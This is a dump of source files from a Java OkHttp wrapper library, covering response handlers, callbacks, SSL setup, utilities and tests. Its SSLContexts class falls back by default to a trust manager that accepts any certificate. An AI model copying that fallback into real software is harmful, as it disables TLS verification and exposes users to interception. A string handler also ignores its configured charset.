TypeRef&lt;Map&lt;String,String&gt;&gt;);\n     * </p>\n     *\n     * @param typeRef 带有泛型类的封装类\n     * @param <E>     泛型类型\n     * @return JavaBean对象\n     * @throws HttpClientException 如果服务器返回非200则抛出此异常\n     */\n    public <E> E asBean(TypeRef<E> typeRef) {\n        return this.custom(new JsonDataHandler<>(typeRef));\n    }\n\n    /**\n     * 将响应结果转为字节数组\n     *\n     * @return 字节数组\n     * @throws HttpClientException 如果服务器返回非200则抛出此异常\n     */\n    public byte[] asByteData() {\n        this.assertSuccess();\n        return byteData;\n    }\n\n    /**\n     * 将响应结果输出到文件中\n     *\n     * @param saveFile 目标保存文件,非空\n     */\n    public void asFile(File saveFile) {\n        Assert.notNull(saveFile, \"SaveFile may noy be null.\");\n        this.custom(new FileDataHandler(saveFile.getParent(), saveFile.getName()));\n    }\n\n    /**\n     * 将响应结果输出到输出流,并不会主动关闭输出流{@code out}\n     *\n     * @param out 输出流,非空\n     */\n    public void asStream(OutputStream out) {\n        Assert.notNull(out, \"OutputStream is null.\");\n        this.assertSuccess();\n        try {\n            IOUtils.copy(this.rawResponse.body().byteStream(), out);\n        } finally {\n            IOUtils.closeQuietly(this.rawResponse);\n        }\n    }\n\n    /**\n     * 响应结果转换\n     *\n     * @param dataHandler 数据转换接口\n     * @param <T>         期望转换的类型\n     * @return 抓好结果\n     */\n    public <T> T custom(DataHandler<T> dataHandler) {\n        return custom(dataHandler, true);\n    }\n\n    /**\n     * 响应结果转换\n     *\n     * @param dataHandler   数据转换接口\n     * @param <T>           期望转换的类型\n     * @param checkHttpCode 是否检查状态码\n     * @return 抓好结果\n     */\n    public <T> T custom(DataHandler<T> dataHandler, boolean checkHttpCode) {\n        if (checkHttpCode) {\n            this.assertSuccess();\n        }\n        try {\n            return dataHandler.handle(getRawResponse());\n        } catch (IOException e) {\n            throw new HttpClientException(e);\n        } finally {\n            IOUtils.closeQuietly(this.rawResponse);\n        }\n    }\n\n    private void assertSuccess() {\n        if (!this.isSuccess) {\n            throw new HttpStatusCodeException(this.rawResponse.request().url().toString(),\n                    this.httpCode, this.errorMessage);\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_okhttp/src/main/java/com/mzlion/easyokhttp/response/callback/Callback.java",
    "content": "/*\n * Copyright (C) 2016-2017 mzlion(mzllon@qq.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.mzlion.easyokhttp.response.callback;\n\nimport com.mzlion.easyokhttp.request.AbsHttpRequest;\nimport com.mzlion.easyokhttp.response.handle.DataHandler;\nimport okhttp3.Call;\nimport okhttp3.Response;\n\n/**\n * 异步请求的回调接口\n *\n * @author mzlion on 2016/4/17.\n */\npublic interface Callback<T> {\n\n    /**\n     * 在请求前调用,在这里可以设置一些参数\n     *\n     * @param httpRequest 请求对象\n     * @return 返回{@code false}则取消此次请求\n     */\n    boolean onBefore(AbsHttpRequest httpRequest);\n\n    /**\n     * 上传请求调用\n     *\n     * @param currentSize 当前上传的大小\n     * @param totalSize   总的大小\n     * @param progress    完成进度\n     */\n    void postProgress(final long currentSize, final long totalSize, final float progress);\n\n    /**\n     * 请求失败调用\n     *\n     * @param call      The real call\n     * @param exception Exception\n     */\n    void onError(Call call, Exception exception);\n\n    /**\n     * 请求完成调用\n     *\n     * @param response 原始的Response,方便调用者自行处理\n     */\n    void onComplete(Response response);\n\n    /**\n     * 获取数据处理器,用于解析转换响应结果\n     *\n     * @return {@linkplain DataHandler}\n     */\n    DataHandler<T> getDataHandler();\n\n    /**\n     * 根据数据处理器得到处理结果,调用者直接使用处理后的数据\n     * 如果{@linkplain #getDataHandler()}返回{@code null}则{@code data}也为{@code null}\n     *\n     * @param data 响应经过处理的数据\n     * @see #getDataHandler()\n     */\n    void onSuccess(T data);\n\n    /**\n     * 空实现\n     */\n    Callback EMPTY_CALLBACK = new CallbackAdaptor<>();\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_okhttp/src/main/java/com/mzlion/easyokhttp/response/callback/CallbackAdaptor.java",
    "content": "/*\n * Copyright (C) 2016-2017 mzlion(mzllon@qq.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.mzlion.easyokhttp.response.callback;\n\nimport com.mzlion.easyokhttp.request.AbsHttpRequest;\nimport com.mzlion.easyokhttp.response.handle.DataHandler;\nimport okhttp3.Call;\nimport okhttp3.Response;\n\n/**\n * {@linkplain Callback}的默认实现\n *\n * @author mzlion on 2016/12/14.\n */\npublic class CallbackAdaptor<T> implements Callback<T> {\n\n    /**\n     * 在请求前调用,在这里可以设置一些参数\n     *\n     * @param httpRequest 请求对象\n     * @return 返回{@code false}则取消此次请求\n     */\n    @Override\n    public boolean onBefore(AbsHttpRequest httpRequest) {\n        return true;\n    }\n\n    /**\n     * 上传请求调用\n     *\n     * @param currentSize 当前上传的大小\n     * @param totalSize   总的大小\n     * @param progress    完成进度\n     */\n    @Override\n    public void postProgress(final long currentSize, final long totalSize, final float progress) {\n\n    }\n\n    /**\n     * 请求失败调用\n     *\n     * @param call      The real call\n     * @param exception Exception\n     */\n    @Override\n    public void onError(Call call, Exception exception) {\n\n    }\n\n    /**\n     * 请求完成调用\n     *\n     * @param response 原始的Response,方便调用者自行处理\n     */\n    @Override\n    public void onComplete(Response response) {\n\n    }\n\n    /**\n     * 获取数据处理器,用于解析转换响应结果\n     *\n     * @return {@linkplain DataHandler}\n     */\n    @Override\n    public DataHandler<T> getDataHandler() {\n        return null;\n    }\n\n    /**\n     * 根据数据处理器得到处理结果,调用者直接使用处理后的数据\n     * 如果{@linkplain #getDataHandler()}返回{@code null}则{@code data}也为{@code null}\n     *\n     * @param data 响应经过处理的数据\n     * @see #getDataHandler()\n     */\n    @Override\n    public void onSuccess(T data) {\n\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_okhttp/src/main/java/com/mzlion/easyokhttp/response/handle/DataHandler.java",
    "content": "/*\n * Copyright (C) 2016-2017 mzlion(mzllon@qq.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.mzlion.easyokhttp.response.handle;\n\nimport java.io.IOException;\n\n/**\n * 数据处理定义接口,将得到的响应结果转为所需的数据\n *\n * @author mzlion on 2016/12/14.\n * @see JsonDataHandler\n * @see StringDataHandler\n */\npublic interface DataHandler<T> {\n\n    /**\n     * 得到相应结果后,将相应数据转为需要的数据格式\n     *\n     * @param response 需要转换的对象\n     * @return 转换结果\n     * @throws IOException 出现异常\n     */\n    T handle(final okhttp3.Response response) throws IOException;\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_okhttp/src/main/java/com/mzlion/easyokhttp/response/handle/FileDataHandler.java",
    "content": "/*\n * Copyright (C) 2016-2017 mzlion(mzllon@qq.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.mzlion.easyokhttp.response.handle;\n\nimport com.mzlion.core.io.FileUtils;\nimport com.mzlion.core.lang.Assert;\nimport com.mzlion.core.lang.StringUtils;\nimport com.mzlion.easyokhttp.utils.Utils;\nimport okhttp3.Response;\n\nimport java.io.File;\nimport java.io.IOException;\n\n/**\n * 文件处理器,一般用于从远程下载资源(如图片、报表等)\n * 支持自动获取文件名，也支持自定义文件名\n *\n * @author mzlion on 2016/12/14.\n */\npublic class FileDataHandler implements DataHandler<File> {\n\n    /**\n     * 保存的文件目录\n     */\n    private final String dirPath;\n\n    /**\n     * 保存的文件名\n     */\n    private String filename;\n\n    public FileDataHandler(String dirPath) {\n        Assert.notNull(dirPath, \"DirPath may not be null.\");\n        this.dirPath = dirPath;\n    }\n\n    public FileDataHandler(String dirPath, String filename) {\n        this(dirPath);\n        this.filename = filename;\n    }\n\n    /**\n     * 返回保存的文件目录\n     *\n     * @return 保存的文件目录\n     */\n    public String getDirPath() {\n        return dirPath;\n    }\n\n    /**\n     * 返回保存的文件名\n     *\n     * @return 保存的文件名\n     */\n    public String getFilename() {\n        return filename;\n    }\n\n    /**\n     * 设置保存的文件名\n     *\n     * @param filename 保存的文件名\n     */\n    public void setFilename(String filename) {\n        this.filename = filename;\n    }\n\n    /**\n     * 得到相应结果后,将相应数据转为需要的数据格式\n     *\n     * @param response 需要转换的对象\n     * @return 存储的文件信息\n     * @throws IOException 出现异常\n     */\n    @Override\n    public File handle(final Response response) throws IOException {\n        String name = this.filename;\n        if (StringUtils.isEmpty(name)) name = Utils.getFilename(response);\n        File saveFile = new File(this.dirPath, name);\n        FileUtils.copyStream(response.body().byteStream(), saveFile);\n        return saveFile;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_okhttp/src/main/java/com/mzlion/easyokhttp/response/handle/JsonDataHandler.java",
    "content": "/*\n * Copyright (C) 2016-2017 mzlion(mzllon@qq.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.mzlion.easyokhttp.response.handle;\n\nimport com.mzlion.core.json.TypeRef;\nimport com.mzlion.core.json.gson.JsonUtil;\nimport com.mzlion.core.lang.StringUtils;\nimport okhttp3.Response;\n\nimport java.io.IOException;\n\n/**\n * JSON处理器,将得到的JSON字符串转为JavaBean.主要必须指定{@code delegateClass}和{@code typeRef}其中一个值，否则返回结果为{@code null}\n *\n * @param <T> 泛型类型\n * @author mzlion on 2016/12/14.\n */\npublic class JsonDataHandler<T> implements DataHandler<T> {\n\n    /**\n     * 指定类型\n     */\n    private Class<T> delegateClass;\n\n    /**\n     * 携带泛型信息的类型\n     */\n    private TypeRef<T> typeRef;\n\n    public JsonDataHandler() {\n    }\n\n    public JsonDataHandler(Class<T> delegateClass) {\n        this.delegateClass = delegateClass;\n    }\n\n    public JsonDataHandler(TypeRef<T> typeRef) {\n        this.typeRef = typeRef;\n    }\n\n    public JsonDataHandler(Class<T> delegateClass, TypeRef<T> typeRef) {\n        this.delegateClass = delegateClass;\n        this.typeRef = typeRef;\n    }\n\n    public Class<T> getDelegateClass() {\n        return delegateClass;\n    }\n\n    public void setDelegateClass(Class<T> delegateClass) {\n        this.delegateClass = delegateClass;\n    }\n\n    public TypeRef<T> getTypeRef() {\n        return typeRef;\n    }\n\n    public void setTypeRef(TypeRef<T> typeRef) {\n        this.typeRef = typeRef;\n    }\n\n    /**\n     * 得到相应结果后,将相应数据转为需要的数据格式\n     *\n     * @param response 需要转换的对象\n     * @return 转换结果\n     * @throws IOException 出现异常\n     */\n    @Override\n    public T handle(final Response response) throws IOException {\n        StringDataHandler stringDataHandler = StringDataHandler.create();\n        String valueContent = stringDataHandler.handle(response);\n        if (StringUtils.hasLength(valueContent)) {\n            if (null != this.delegateClass) {\n                return JsonUtil.fromJson(valueContent, delegateClass);\n            } else if (null != this.typeRef) {\n                return JsonUtil.fromJson(valueContent, this.typeRef);\n            } else {\n                return null;\n            }\n        }\n        return null;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_okhttp/src/main/java/com/mzlion/easyokhttp/response/handle/StringDataHandler.java",
    "content": "/*\n * Copyright (C) 2016-2017 mzlion(mzllon@qq.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.mzlion.easyokhttp.response.handle;\n\nimport okhttp3.Response;\n\nimport java.io.IOException;\nimport java.nio.charset.Charset;\n\n/**\n * 字符串数据处理器\n *\n * @author mzlion on 2016/12/14.\n */\npublic class StringDataHandler implements DataHandler<String> {\n\n    /**\n     * 返回字符串数据处理器\n     *\n     * @return 字符串数据处理器\n     */\n    public static StringDataHandler create() {\n        return Holder.handler;\n    }\n\n    /**\n     * 单例Holder\n     *\n     * @author mzlion\n     */\n    private static class Holder {\n        /**\n         * 因为{@linkplain StringDataHandler}使用频率非常高，所以这里直接缓存\n         */\n        private static StringDataHandler handler = new StringDataHandler();\n    }\n\n    /**\n     * 字符编码\n     */\n    private Charset charset;\n\n    /**\n     * 获取字符编码\n     *\n     * @return 字符编码\n     */\n    public Charset getCharset() {\n        return charset;\n    }\n\n    /**\n     * 设置字符编码\n     *\n     * @param charset 字符编码\n     */\n    public void setCharset(Charset charset) {\n        this.charset = charset;\n    }\n\n    /**\n     * 得到相应结果后,将相应数据转为需要的数据格式\n     *\n     * @param response 需要转换的对象\n     * @return 转换结果\n     */\n    @Override\n    public String handle(Response response) throws IOException {\n        if (this.charset != null) {\n            return new String(response.body().bytes());\n        }\n        return response.body().string();\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_okhttp/src/main/java/com/mzlion/easyokhttp/utils/SSLContexts.java",
    "content": "/*\n * Copyright (C) 2016-2017 mzlion(mzllon@qq.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.mzlion.easyokhttp.utils;\n\nimport com.mzlion.core.io.IOUtils;\nimport com.mzlion.core.lang.ArrayUtils;\n\nimport javax.net.ssl.*;\nimport java.io.InputStream;\nimport java.security.KeyStore;\nimport java.security.SecureRandom;\nimport java.security.cert.CertificateException;\nimport java.security.cert.CertificateFactory;\nimport java.security.cert.X509Certificate;\n\n/**\n * SSL证书\n *\n * @author mzlion on 2016/12/7.\n */\npublic class SSLContexts {\n\n    /**\n     * 尝试解析SSL证书\n     *\n     * @param certificates     远程服务端的证书\n     * @param x509TrustManager 自定义证书管理器\n     * @param pfxCertificate   客户端证书\n     * @param pfxPassword      客户端证书密码\n     * @return {@link SSLConfig}\n     */\n    public static SSLConfig tryParse(InputStream[] certificates, X509TrustManager x509TrustManager,\n                                     InputStream pfxCertificate, char[] pfxPassword) {\n        try {\n            SSLConfig sslConfig = new SSLConfig();\n\n            KeyManager[] keyManagers = prepareKeyManagers(pfxCertificate, pfxPassword);\n            X509TrustManager trustManager;\n            if (x509TrustManager != null) {\n                //优先使用用户自定义的TrustManager\n                trustManager = x509TrustManager;\n            } else {\n                //然后使用默认的TrustManager\n                trustManager = prepareX509TrustManager(certificates);\n                if (trustManager == null) {\n                    trustManager = unSafeTrustManager;\n                }\n            }\n\n            //创建TLS类型的SSLContext对象.\n            SSLContext sslContext = SSLContext.getInstance(\"TLS\");\n            // 用上面得到的trustManagers初始化SSLContext，这样sslContext就会信任keyStore中的证书\n            sslContext.init(keyManagers, new TrustManager[]{trustManager}, new SecureRandom());\n\n            sslConfig.setSslSocketFactory(sslContext.getSocketFactory());\n            sslConfig.setX509TrustManager(trustManager);\n            return sslConfig;\n        } catch (Exception e) {\n            throw new AssertionError(e);\n        }\n    }\n\n    /**\n     * 不对证书进行验证\n     */\n    private static X509TrustManager unSafeTrustManager = new X509TrustManager() {\n        @Override\n        public void checkClientTrusted(X509Certificate[] x509Certificates, String s) throws CertificateException {\n\n        }\n\n        @Override\n        public void checkServerTrusted(X509Certificate[] x509Certificates, String s) throws CertificateException {\n\n        }\n\n        @Override\n        public X509Certificate[] getAcceptedIssuers() {\n            return new X509Certificate[0];\n        }\n    };\n\n    /**\n     * 根据证书文件生成{@linkplain X509TrustManager}\n     *\n     * @param certificates 证书文件\n     * @return {@link X509TrustManager}\n     */\n    private static X509TrustManager prepareX509TrustManager(InputStream... certificates) throws Exception {\n        if (ArrayUtils.isEmpty(certificates)) {\n            return null;\n        }\n\n        //创建证书工厂\n        CertificateFactory factory = CertificateFactory.getInstance(\"X.509\");\n        //创建一个默认类型的KeyStore,存储我们信任的证书\n        KeyStore keyStore = KeyStore.getInstance(KeyStore.getDefaultType());\n        keyStore.load(null);\n\n        //开始处理证书\n        for (int i = 0, length = certificates.length; i < length; i++) {\n            //将证书对象作为可信证书放入到keyStore中\n            keyStore.setCertificateEntry(String.valueOf(i + 1), factory.generateCertificate(certificates[i]));\n            IOUtils.closeQuietly(certificates[i]);\n        }\n\n        // Use it to build an X509 trust manager.\n        TrustManagerFactory trustManagerFactory = TrustManagerFactory.getInstance(TrustManagerFactory.getDefaultAlgorithm());\n        //用我们之前的keyStore实例初始化TrustManagerFactory,这样tmf就会信任keyStore中的证书\n        trustManagerFactory.init(keyStore);\n        TrustManager[] trustManagers = trustManagerFactory.getTrustManagers();\n        if (trustManagers.length != 1 || !(trustManagers[0] instanceof X509TrustManager)) {\n            throw new IllegalStateException(\"Unexpected default trust managers:\" + ArrayUtils.toString(trustManagers));\n        }\n        return (X509TrustManager) trustManagers[0];\n    }\n\n    private static KeyManager[] prepareKeyManagers(InputStream pfxCertificate, char[] pfxPassword) throws Exception {\n        if (pfxCertificate == null || ArrayUtils.isEmpty(pfxPassword)) {\n            return null;\n        }\n        KeyStore clientKS = KeyStore.getInstance(\"PKCS12\");\n        clientKS.load(pfxCertificate, pfxPassword);\n        KeyManagerFactory factory = KeyManagerFactory.getInstance(KeyManagerFactory.getDefaultAlgorithm());\n        factory.init(clientKS, pfxPassword);\n        return factory.getKeyManagers();\n    }\n\n    public static final class SSLConfig {\n\n        private SSLSocketFactory sslSocketFactory;\n        private X509TrustManager x509TrustManager;\n\n        public SSLSocketFactory getSslSocketFactory() {\n            return sslSocketFactory;\n        }\n\n        void setSslSocketFactory(SSLSocketFactory sslSocketFactory) {\n            this.sslSocketFactory = sslSocketFactory;\n        }\n\n        public X509TrustManager getX509TrustManager() {\n            return x509TrustManager;\n        }\n\n        void setX509TrustManager(X509TrustManager x509TrustManager) {\n            this.x509TrustManager = x509TrustManager;\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_okhttp/src/main/java/com/mzlion/easyokhttp/utils/Utils.java",
    "content": "/*\n * Copyright (C) 2016-2017 mzlion(mzllon@qq.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.mzlion.easyokhttp.utils;\n\nimport com.mzlion.core.digest.MD5;\nimport com.mzlion.core.lang.StringUtils;\nimport com.mzlion.easyokhttp.http.Header;\nimport okhttp3.MediaType;\nimport okhttp3.Response;\n\nimport java.io.UnsupportedEncodingException;\nimport java.net.FileNameMap;\nimport java.net.URLConnection;\nimport java.net.URLEncoder;\nimport java.util.Locale;\n\n/**\n * 项目的工具类\n *\n * @author mzlion on 2016/12/9.\n */\npublic class Utils {\n\n    private static String acceptLanguage;\n    private static String userAgent;\n\n    /**\n     * 自定义客户端语言\n     *\n     * @param acceptLanguage 客户端语言\n     */\n    public static void setAcceptLanguage(String acceptLanguage) {\n        Utils.acceptLanguage = acceptLanguage;\n    }\n\n    /**\n     * 客户端语言\n     *\n     * @return 客户端语言\n     */\n    public static String getAcceptLanguage() {\n        if (StringUtils.isEmpty(acceptLanguage)) {\n            Locale locale = Locale.getDefault();\n            String language = locale.getLanguage();\n            String country = locale.getCountry();\n            StringBuffer sb = new StringBuffer(language);\n            if (StringUtils.hasLength(country)) {\n                sb.append('-').append(country).append(',').append(language).append(\";q=0.8\");\n            }\n            acceptLanguage = sb.toString();\n        }\n        return acceptLanguage;\n    }\n\n    /**\n     * 获取UA\n     *\n     * @return UA\n     */\n    public static String getUserAgent() {\n        if (StringUtils.isEmpty(userAgent)) {\n            userAgent = \"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.75 Safari/537.36\";\n        }\n        return userAgent;\n    }\n\n    /**\n     * 对URL中的请求参数UTF-8编码\n     *\n     * @param value 参数值\n     * @return 编码的值\n     */\n    public static String urlEncode(String value) {\n        try {\n            return URLEncoder.encode(value, \"UTF-8\");\n        } catch (UnsupportedEncodingException e) {\n            e.printStackTrace();\n            return value;\n        }\n    }\n\n    /**\n     * 猜测文件的MIME类型\n     *\n     * @param filename 文件名\n     * @return {@link MediaType}\n     */\n    public static MediaType guessMediaType(String filename) {\n        if (filename == null) {\n            return MediaType.parse(\"application/octet-stream\");\n        }\n        FileNameMap fileNameMap = URLConnection.getFileNameMap();\n        String pathname = filename.replace(\"#\", \"\");\n        String contentType = fileNameMap.getContentTypeFor(pathname);\n        if (contentType == null) {\n            contentType = \"application/octet-stream\";\n        }\n        return MediaType.parse(contentType);\n    }\n\n    /**\n     * 根据响应头或url获取文件名，当都无法获取时则根据url生成MD5值\n     *\n     * @param response HTTP响应对象\n     * @return 文件名\n     */\n    public static String getFilename(Response response) {\n        //首先从请求头里获取\n        String headerValue = response.header(Header.CONTENT_DISPOSITION);\n        if (headerValue != null) {\n            String split = \"filename=\";\n            int index = headerValue.indexOf(split);\n            if (index != -1) {\n                String pathname = headerValue.substring(index + split.length());\n                index = pathname.lastIndexOf(\"/\");\n                if (index != -1) {\n                    return pathname.substring(index + 1);\n                }\n                return pathname;\n            }\n        }\n\n        //然后从url里获取\n        String url = response.request().url().toString();\n        int index = url.indexOf(\"?\");\n        if (index > 0) {\n            String urlSnippet = url.substring(0, index);\n            String filename = urlSnippet.substring(url.lastIndexOf(\"/\") + 1);\n            if (filename.contains(\".\")) {\n                return filename;\n            }\n        }\n\n        //通过URL生成一个随机文件名\n        return MD5.digestHex(url);\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_okhttp/src/main/resources/easy-okhttp.properties",
    "content": "#/*\n#* Copyright (C) 2016-2017 mzlion(mzllon@qq.com).\n#*\n#* Licensed under the Apache License, Version 2.0 (the \"License\");\n#* you may not use this file except in compliance with the License.\n#* You may obtain a copy of the License at\n#*\n#*      http://www.apache.org/licenses/LICENSE-2.0\n#*\n#* Unless required by applicable law or agreed to in writing, software\n#* distributed under the License is distributed on an \"AS IS\" BASIS,\n#* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n#* See the License for the specific language governing permissions and\n#* limitations under the License.\n#*/\n#==========================\\u652F\\u6301\\u516C\\u5171Header\\u548CParam\\u7684\\u8BBE\\u7F6E==========================#\n#\\u89C4\\u5219\\u8BF4\\u660E\\u5982\\u4E0B\n#\\u4EE5header\\u5F00\\u5934\\u7684\\u8868\\u793A\\u8BBE\\u7F6E\\u516C\\u5171\\u8BF7\\u6C42\\u5934,header.\\u4E4B\\u540E\\u5C31\\u662F\\u952E\\u540D,\\u7B49\\u53F7\\u4E4B\\u540E\\u7684\\u952E\\u5BF9\\u5E94\\u7684\\u503C\n#header.partner = MZ2017\n#header.rememberMe = 1\n#==========================\\u652F\\u6301\\u516C\\u5171Header\\u548CParam\\u7684\\u8BBE\\u7F6E==========================#\n#==========================\\u5BF9OKHTTP\\u5168\\u5C40\\u914D\\u7F6E==========================#\n#\\u8FDE\\u63A5\\u8D85\\u65F6\\u65F6\\u95F4,\\u5355\\u4F4D\\u79D2\nconnectTimeout=5\n#\\u8BFB\\u53D6\\u8D85\\u65F6\\u65F6\\u95F4,\\u5355\\u4F4D\\u79D2\nreadTimeout=5\n#\\u5199\\u5165\\u8D85\\u65F6\\u65F6\\u95F4,\\u5355\\u4F4D\\u79D2\nwriteTimeout=5\n#==========================\\u5BF9OKHTTP\\u5168\\u5C40\\u914D\\u7F6E==========================#"
  },
  {
    "path": "jun_java_plugins/jun_okhttp/src/test/java/com/mzlion/easyokhttp/HttpClientTest.java",
    "content": "package com.mzlion.easyokhttp;\n\nimport com.mzlion.easyokhttp.response.HttpResponse;\nimport com.mzlion.easyokhttp.response.handle.StringDataHandler;\nimport org.junit.Test;\n\n/**\n * @author kudo on 2017-10-31 13:52:57\n */\npublic class HttpClientTest {\n\n    @Test\n    public void post() throws Exception {\n//        HttpResponse httpResponse = HttpClient\n//                .post(\"https://project.mzlion.com/easy-okhttp/api/post/simple\")\n//                .param(\"blog\", \"https://www.mzlion.com\")\n//                .param(\"author\", \"mzlion\")\n//                .param(\"location\", \"上海\")\n//                .param(\"projectName\", \"easy-okhttp\")\n//                .param(\"projectUrl\", \"https://git.oschina.net/mzllon/easy-okhttp\")\n//                .header(\"customHeader1\", \"customValue1\")//自定义header\n//                .execute();\n        HttpResponse httpResponse = HttpClient.post(\"http://localhost:8060/c1-svc-server/lan/svc/yjlmk/hb_activity/test2\")\n                .param(\"flag\", \"flag\")\n                .execute();\n        System.out.println(\"http code = \" + httpResponse.getHttpCode());\n        System.out.println(\"http message = \" + httpResponse.getErrorMessage());\n\n        String asString = httpResponse.custom(StringDataHandler.create(), false);\n        System.out.println(\"asString = \" + asString);\n    }\n\n    @Test\n    public void post2() throws Exception {\n        HttpResponse httpResponse = HttpClient.post(\"http://localhost:8060/c1-svc-server/lan/svc/yjlmk/hb_activity/stop\")\n                .param(\"flag\", \"flag\")\n                .execute();\n        System.out.println(\"http code = \" + httpResponse.getHttpCode());\n        System.out.println(\"http message = \" + httpResponse.getErrorMessage());\n\n        String asString = httpResponse.custom(StringDataHandler.create(), false);\n        System.out.println(\"asString = \" + asString);\n\n\n    }\n\n}"
  },
  {
    "path": "jun_java_plugins/jun_online_java_complier/.gitignore",
    "content": "target/\n!.mvn/wrapper/maven-wrapper.jar\n\n### STS ###\n.apt_generated\n.classpath\n.factorypath\n.project\n.settings\n.springBeans\n\n### IntelliJ IDEA ###\n.idea\n*.iws\n*.iml\n*.ipr\n\n### NetBeans ###\nnbproject/private/\nbuild/\nnbbuild/\ndist/\nnbdist/\n.nb-gradle/"
  },
  {
    "path": "jun_java_plugins/jun_online_java_complier/LICENSE",
    "content": "MIT License\n\nCopyright (c) 2017 ping\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "jun_java_plugins/jun_online_java_complier/README.en.md",
